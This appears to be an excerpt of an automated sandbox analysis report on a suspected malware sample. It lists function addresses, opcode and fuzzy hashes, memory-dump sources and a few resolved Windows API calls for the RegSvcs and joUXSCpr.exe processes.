Opcode ID: ebaa91a9d16c03ae47944bb650f378d69302efcd52c887ae1e4d005d442e63cf
Instruction ID: 43af79c1fd95a2f1d9daccefd248d1a6e08f98c3af2d0eacf5a3f229cad9b5fa
Opcode Fuzzy Hash: ebaa91a9d16c03ae47944bb650f378d69302efcd52c887ae1e4d005d442e63cf
Instruction Fuzzy Hash: 9C31D070B002058FDBA8AB74D4586BF7BA6EF89710F14A46DD402EB365DE75CD02CB91

Function 06BBD9D8 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f5b462de39aba50b87d4a9d0864ca1323b79ae901b297df0fb29e9c3da06a2
Instruction ID: 5cdd81108016db2adca6c6967487582b985edd46b060593cf9374b7a78334e60
Opcode Fuzzy Hash: 05f5b462de39aba50b87d4a9d0864ca1323b79ae901b297df0fb29e9c3da06a2
Instruction Fuzzy Hash: 69319470E103099FDB24DF65D490AEEB7B6FF89300F109969E505AB210DBB4E9468B91

Function 06BB2150 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2737dcfb21fec59073b67a05f6137f8d2da7de691e47b8e95ee40884a6036d
Instruction ID: 6a6c2327e534c6f144eb2f41504480679a0e11b6b3fb57666d8ffca03bf4c1ca
Opcode Fuzzy Hash: ae2737dcfb21fec59073b67a05f6137f8d2da7de691e47b8e95ee40884a6036d
Instruction Fuzzy Hash: 34318F71E102069FCB59CF64C894ABEB7B2FF89700F109529E906E7750EB71AD42CB50

Function 06BB2160 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2275e48536d94a1e9d39f8f3fddf3650d27bcdd1aca680c18e3776e3691560b
Instruction ID: 44a3f9751cfc9583aead1005ffd1bc9b4f97f6212ba192915cc12fd0ca34dff5
Opcode Fuzzy Hash: e2275e48536d94a1e9d39f8f3fddf3650d27bcdd1aca680c18e3776e3691560b
Instruction Fuzzy Hash: 82317C70E102099BCB59CF64C894AAEB7F2FF89700F109529E906E7750EBB1ED42CB50

Function 06BB3B50 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2014efa1a06a1db616acef816bd9ce205521cc251a8be2809c97d01123ce832
Instruction ID: 99730cf231e99063b29859e2fbc03e03664534309b3c181f43b99b18ae53d6c8
Opcode Fuzzy Hash: c2014efa1a06a1db616acef816bd9ce205521cc251a8be2809c97d01123ce832
Instruction Fuzzy Hash: 33318DB1F002149FDB50DFA9D880AEEBBF5EB48710F10906AE901EB380E774DC418BA4

Function 06BB3B60 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd63d11c7f196f878062f65eb4c6785efd23b2005458c42941f57eaf81c1132c
Instruction ID: 26d9210bbe80a16d6ee6de9779afbf249073e547119c55903804470c0e691fc5
Opcode Fuzzy Hash: bd63d11c7f196f878062f65eb4c6785efd23b2005458c42941f57eaf81c1132c
Instruction Fuzzy Hash: 89217CB5F006149FDB60DFA9D880AEEBBF5EB48710F109069E905E7390EB74DC408BA4

Function 06BB3C70 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60732b00aaabae5877e964bd785b8cae7ef4155d67c4cb56d0d2300552052a92
Instruction ID: a04760a793124345a947aa2a03df469556a1deb277f20a6c67df7ba6c6dd9bea
Opcode Fuzzy Hash: 60732b00aaabae5877e964bd785b8cae7ef4155d67c4cb56d0d2300552052a92
Instruction Fuzzy Hash: 36118E72B042289BCF599A78DC646FE77FAEBC9311F04557AC406E7340EE65DC028BA1

Function 06BBA36F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9ce90721991329f8b9d8cb9123d556af21b551b033289a78b2c1b193d5c5506
Instruction ID: 3f36089caf8f02deeb0fa8c3343d346e7f3177ca04b6e2aef03d34087c82913d
Opcode Fuzzy Hash: c9ce90721991329f8b9d8cb9123d556af21b551b033289a78b2c1b193d5c5506
Instruction Fuzzy Hash: 6B01B171F001105FCB659A68D850BAEB7EAEB8A750F10A47AE14ACB352DF31DC028391

Function 06BB3928 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0f59415ada9d00159b3439de59037fb8ced29f7cda39ea4ed9fddbfd6cccb9
Instruction ID: e349dde02f14dee155c761a899fd477c47c7d841c63a82bc5c825064d62907cb
Opcode Fuzzy Hash: 5a0f59415ada9d00159b3439de59037fb8ced29f7cda39ea4ed9fddbfd6cccb9
Instruction Fuzzy Hash: 5D21C0B5D01219AFDB00DF9AD884ADEFBB8FB49310F10812AE918A7641D374A944CBA5

Function 06BB42B0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34596beb5f3eebbc5eba1bfb898e4eaf1da6e89030a159dd4e1870734aed3d8b
Instruction ID: f17086b7e55fe5f6f66d786b088ac8c01995afa36d6730b1aca0010c930af5e5
Opcode Fuzzy Hash: 34596beb5f3eebbc5eba1bfb898e4eaf1da6e89030a159dd4e1870734aed3d8b
Instruction Fuzzy Hash: C501FC71B041100FDB6596BD941076FB7E6DBC9B10F14947DE20ACB397EAA1CD414391

Function 06BB3C60 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9086e60ec7db9716d60b60b1b0ea6f88a1238acf860b9bd20e32e82f3098f0c7
Instruction ID: e6e78c6d7c3ba970b99bb97fb0569dc149a0394fe9335357fda2741fc1595156
Opcode Fuzzy Hash: 9086e60ec7db9716d60b60b1b0ea6f88a1238acf860b9bd20e32e82f3098f0c7
Instruction Fuzzy Hash: 8E01D476B141245BCB989968DC246FB73EBDBC9310F04513AD006D7380DE65CC0247E1

Function 06BBEDE9 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1955605a3451bcb0fa154e5eadfd34ae9f7a6ea063488476c725868c4cbeb41c
Instruction ID: 5446b0ee39e5f137bf6b10c41f9798f31b26df36ff9d0db04536204b8dc60f55
Opcode Fuzzy Hash: 1955605a3451bcb0fa154e5eadfd34ae9f7a6ea063488476c725868c4cbeb41c
Instruction Fuzzy Hash: 42012431B141010BCBA59A3DA850BBF77D6DBCA750F14987DE10AC7352DA61DC024395

Function 06BB3930 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8d394da3863829acaf11e1a46cac32f282cf27ab12c8cfa32232f507c69ff69
Instruction ID: 499f076d8b95f9aef6b77b3185e4e0d1784103cf48cfb420439258652d18f7a6
Opcode Fuzzy Hash: d8d394da3863829acaf11e1a46cac32f282cf27ab12c8cfa32232f507c69ff69
Instruction Fuzzy Hash: E711CFB5D01219AFDB00CF9AD884ADEFBB8FB49310F10812AE918A7241D374A944CFA5

Function 06BB42C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc186df1b40f2d2826df7ad11c71afd357c22f079e6652cca458bd391ee31bf4
Instruction ID: bbe7f5e5116507c8bee6f90115ba3cfc30d661783ff67a557242dd2d45e7b163
Opcode Fuzzy Hash: bc186df1b40f2d2826df7ad11c71afd357c22f079e6652cca458bd391ee31bf4
Instruction Fuzzy Hash: 2701D171B001100BDB659AADD450B6FB3DAEBC9B20F14A83DE20AC7386EEA1DC420391

Function 06BBEDF8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b1aafe377a9441555b334f4311e5180c18904cbc73899539c23b14ebbb74fd
Instruction ID: e13eba78dabf92162f18bad722394a40baa46d0c1974d4433442449c5402ff3d
Opcode Fuzzy Hash: 74b1aafe377a9441555b334f4311e5180c18904cbc73899539c23b14ebbb74fd
Instruction Fuzzy Hash: 5C01D171B101100BDBA5996EA450BBF73D6D7CD751F14983DE10AC7351EF61DC024395

Function 06BBA380 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f926248ee721cee0c2f06b20cba55d56deed138b43006337e7bbd7afc645bd63
Instruction ID: 2b9b26414ee2acf47252a4729339d999fc38c8e796217475d03f85d9fd65ea69
Opcode Fuzzy Hash: f926248ee721cee0c2f06b20cba55d56deed138b43006337e7bbd7afc645bd63
Instruction Fuzzy Hash: 13016970F101144BDB64EA68E454B6EB3EAEB89710F10A83EE50AC7391EA76DC428380

Function 06BBC830 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8849a89ce69aae6873fdf56867be421ac7749de6d547801d367d5a99d5036de
Instruction ID: a26b2989ac602f25e5a96d30094cdfd462d9eb53bc58ea7eecf2550513daf65b
Opcode Fuzzy Hash: e8849a89ce69aae6873fdf56867be421ac7749de6d547801d367d5a99d5036de
Instruction Fuzzy Hash: A8F02432F212649FDB94C965EC009EABB39E745350F102439E901EB384D762AC01CBC0

Function 06BBC840 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963f2aeeb69b5719a3bb26ecf1ab330c826454660f8aa236d2248a8be8d18b9d
Instruction ID: 790c265c8749acad8ed37fe4493747677f3388fa50b5c729411e95dc14cc61f9
Opcode Fuzzy Hash: 963f2aeeb69b5719a3bb26ecf1ab330c826454660f8aa236d2248a8be8d18b9d
Instruction Fuzzy Hash: ADF0A772E202689BDB54D565DC049EABB39F784354F005469E901F7254D7756C00CBC0

Function 06BB64D9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4162479d214560f66573151fe5ebb4ebd7f7d13ace1d582958bf1b2b0f300f1c
Instruction ID: 66c4dd4baa76e75a6a130a203d294ef45af892c7573aec6e3e01fbd700f010a8
Opcode Fuzzy Hash: 4162479d214560f66573151fe5ebb4ebd7f7d13ace1d582958bf1b2b0f300f1c
Instruction Fuzzy Hash: C0E0D8F2E1624CAFDF50CA708A457EA7BBDD742204F1458E5D408CB242F1F6DE518791

Analysis Process: joUXSCpr.exePID: 7852, Parent PID: 1124COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	248
Total number of Limit Nodes:	12

Executed Functions

Function 0539B7AD Relevance: 4.1, Strings: 3, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/>X, xrefs: 0539BACD
/>X, xrefs: 0539BAD4
P,0e, xrefs: 0539B89B

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: />X$/>X$P,0e
API String ID: 0-1511438267
Opcode ID: 89e86715d8b535599f3d5d0978ca00e6cd7347ddbac1aaa3ef6161f92a98fadf
Instruction ID: 29d1912a9195bb960cbb3cc8191a3ac0667da9e67f66751bc8a845e0c4a7a28c
Opcode Fuzzy Hash: 89e86715d8b535599f3d5d0978ca00e6cd7347ddbac1aaa3ef6161f92a98fadf
Instruction Fuzzy Hash: 63E1BEB4D1820ADFDB08CFA5E4958AEFBB6FF88341B148529D415AB354DB349A42CF80

Function 0539B840 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/>X, xrefs: 0539BACD
/>X, xrefs: 0539BAD4
P,0e, xrefs: 0539B89B

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: />X$/>X$P,0e
API String ID: 0-1511438267
Opcode ID: c4251a8d350ce53b38f4737a68e280cfad379fd1e00f68fd9f475efd7888ff42
Instruction ID: 5b55c8fc69c3463347a7d71ab44cf0ff01cc5e25b2231dc936d34d67f81ca8d2
Opcode Fuzzy Hash: c4251a8d350ce53b38f4737a68e280cfad379fd1e00f68fd9f475efd7888ff42
Instruction Fuzzy Hash: 6CC15BB0D1820ADFDF08CF95E4958AEFBB6FF88340B10C559D416AB258DB349A42CF94

Function 0539DEA0 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

p, xrefs: 0539DF25

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: p
API String ID: 0-2181537457
Opcode ID: e237ad6cf8163a108008f663f5a3fcd01b721266e53560d2e276560c84279cc6
Instruction ID: dce40cd23aa6c308984ecc7094aa6576c960765ff5754f7d6bdcf95d81b557ff
Opcode Fuzzy Hash: e237ad6cf8163a108008f663f5a3fcd01b721266e53560d2e276560c84279cc6
Instruction Fuzzy Hash: C45109B0E01318CFEB58CF6AD940B8AFBB7BF89201F04C5A9D408AB215D7309A85CF55

Function 05392558 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 494efd90f859b179d8c35cea0866a7610bb2279b844f8fae9c48b52e818d559f
Instruction ID: c56b50dcf217cf471c337a26f7b36e28ed55aa72386fd72131d329fd0c43d9da
Opcode Fuzzy Hash: 494efd90f859b179d8c35cea0866a7610bb2279b844f8fae9c48b52e818d559f
Instruction Fuzzy Hash: DB12D775D1061A8FCB15DF68C884AE9F7B1BF49300F1586AAD859A7211EB70AAC4CF90

Function 05392548 Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3915d89c81f29c53b50341d3e2fd1cd84b2bfa451aa7f6eb1834c6f044581a7
Instruction ID: c70e7305705f073a9a686963da7e94009242c65562cee51061653b4c9e76d127
Opcode Fuzzy Hash: c3915d89c81f29c53b50341d3e2fd1cd84b2bfa451aa7f6eb1834c6f044581a7
Instruction Fuzzy Hash: E012C875D1071ACFCB15DF68C884AE9F7B1BF49300F1586AAD859A7211EB70AAC4CF90

Function 053996B0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd61f6db59a03f51a4453da9cfb937bc9e6f78a0b290b42699a6e37df3cddfed
Instruction ID: 3ea1ff91d0b23f0600519c387232d16dfab85ef930b3947fbbc9f7f391da12f7
Opcode Fuzzy Hash: bd61f6db59a03f51a4453da9cfb937bc9e6f78a0b290b42699a6e37df3cddfed
Instruction Fuzzy Hash: 6691F3B5E14209CFDB08CFA9C885A9EFBF6FF89300F14802AE419AB254DB759945CF54

Function 05399721 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d1ed1a0c3614807705ed290369f5b3a13a84decb224d96433e4131d7a342ca
Instruction ID: 35f7e0209d9dbb7e1bd6687910c850ebd9dd8c5ad2d0f13dc25cba1be05a7244
Opcode Fuzzy Hash: 41d1ed1a0c3614807705ed290369f5b3a13a84decb224d96433e4131d7a342ca
Instruction Fuzzy Hash: 3E9113B5E14219CFDB08CFA9C885A9EFBF6FF89300F14802AE419AB254DB319945CF54

Function 053997B0 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 721516910730d7175be39e233b4cb3c24a2e90b62361f588052b0a86f647c849
Instruction ID: d294003262ae480b30af6533d5b7451dcfed9367a1e132da220b71949d948e09
Opcode Fuzzy Hash: 721516910730d7175be39e233b4cb3c24a2e90b62361f588052b0a86f647c849
Instruction Fuzzy Hash: 2881A2B5E042198FDB08CFEAC985A9EFBB6FF89300F10842AD819BB254DB345905CF54

Function 05399FD8 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928e84fcebff81dff16ecc241c1401895aa61a8226b688db236a34b56c93ce1d
Instruction ID: 33e30a05dff826b4e1fd2300d4cae16526e6247b132a44dcf6bc3949c2adeed2
Opcode Fuzzy Hash: 928e84fcebff81dff16ecc241c1401895aa61a8226b688db236a34b56c93ce1d
Instruction Fuzzy Hash: 465116B0E142199FDB08CFAAD9456EEFBF2BF89300F14C56AD419B7350D7345A418B68

Function 0539A939 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 639681846594bd84ea986e9868c20c753c20ad91c899cd43f4c20a9c51ccb987
Instruction ID: bdc331e5cd5b07a8b8086a81610f22675ad234f2a242caa971962085bedc43fa
Opcode Fuzzy Hash: 639681846594bd84ea986e9868c20c753c20ad91c899cd43f4c20a9c51ccb987
Instruction Fuzzy Hash: C32126B1E046188BEB19CFAAD9443DEFBF3AFC8300F14C16AD409AA254DB740A45CF90

Function 0539BE38 Relevance: 2.6, Strings: 2, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8[W, xrefs: 0539BECB
8[W, xrefs: 0539BEC4

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: 8[W$8[W
API String ID: 0-3882825709
Opcode ID: b5b53bf3e0469740f0688953805ddc22a0aef55b259af840eea11a33b7f8cdda
Instruction ID: dd6e934693c3b345bd5788813a297337c431f7a3797eacc831383d01205ee8ed
Opcode Fuzzy Hash: b5b53bf3e0469740f0688953805ddc22a0aef55b259af840eea11a33b7f8cdda
Instruction Fuzzy Hash: 82313CB0D09209EFCB08CFA5E5505AEFFF6BF89200F14D5AAD505A7211D7308B41CB91

Function 053966EC Relevance: 1.8, Strings: 1, Instructions: 578COMMON

Download Yara Rule

Strings

un, xrefs: 05396934

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: un
API String ID: 0-3067141278
Opcode ID: 727aa174f96d51b0ffe71564ea02e37ecaaae189af3433d027f856993f19cc49
Instruction ID: d2c8dd7f4d6366ddbb05bac563733b2db590be1d702d4fe74a10580e80627a6c
Opcode Fuzzy Hash: 727aa174f96d51b0ffe71564ea02e37ecaaae189af3433d027f856993f19cc49
Instruction Fuzzy Hash: 0C227CB4F05258CFEF18DBA5D556BADBBB7BF84300F14806AE416AB285CBB09C41CB51

Function 04CB2D9E Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04CB2FDE

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e8aa09ee75e50988a1df037b344187bcf6cadd2b9007089b5bd1279e27e58e73
Instruction ID: c41851dbb01f13761d43989aead43e902756f42242e05ff310a5f8010530da98
Opcode Fuzzy Hash: e8aa09ee75e50988a1df037b344187bcf6cadd2b9007089b5bd1279e27e58e73
Instruction Fuzzy Hash: 52915C71D00759DFEB10CFA9C8457EDBBB2BF48304F1485A9E848A7250DB74AA85CF91

Function 04CB2DA8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04CB2FDE

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a8374a58aa48756bbfdd62dbe23c589db5dcdec7d5653394baf3febd6a77f089
Instruction ID: 03c4aaefeb7583849826e35aa44fa7fa9b1113c8ad0f958dfc775da59c2807ef
Opcode Fuzzy Hash: a8374a58aa48756bbfdd62dbe23c589db5dcdec7d5653394baf3febd6a77f089
Instruction Fuzzy Hash: F2916B71D00759DFEB10CF69C844BEEBBB2BF48314F1485A9E848A7250DB74AA85CF91

Function 02A3B188 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02A3B3DE

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5df9a89aef394a1b53ed8775f2bbb645a2e2ca97f110cff9082ce8deb781be86
Instruction ID: b501cc3d0c3bd1c80c02c12c2dea48d5825b2baa91e3e150a2e47bdc4e3760e9
Opcode Fuzzy Hash: 5df9a89aef394a1b53ed8775f2bbb645a2e2ca97f110cff9082ce8deb781be86
Instruction Fuzzy Hash: C8713770A00B058FD725DF69D58575ABBF2FF88308F008A2DE49AD7A40DB74E945CBA1

Function 051E12A4 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 051E4381

Memory Dump Source

Source File: 00000009.00000002.1499212059.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51e0000_joUXSCpr.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: cdfc7375e351812f1f7f8953af22c52b737f4cd3eb5f209f7477444d663a33dd
Instruction ID: 67cc37f7b99ee17a51815be1f2090365116d4f73cc97e3cd5fbdae67c554fc00
Opcode Fuzzy Hash: cdfc7375e351812f1f7f8953af22c52b737f4cd3eb5f209f7477444d663a33dd
Instruction Fuzzy Hash: 88413AB8900709CFDB14CF99C448FAABBF6FF88314F258459D519AB361D374A841CBA0

Function 02A347F4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02A35D59

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
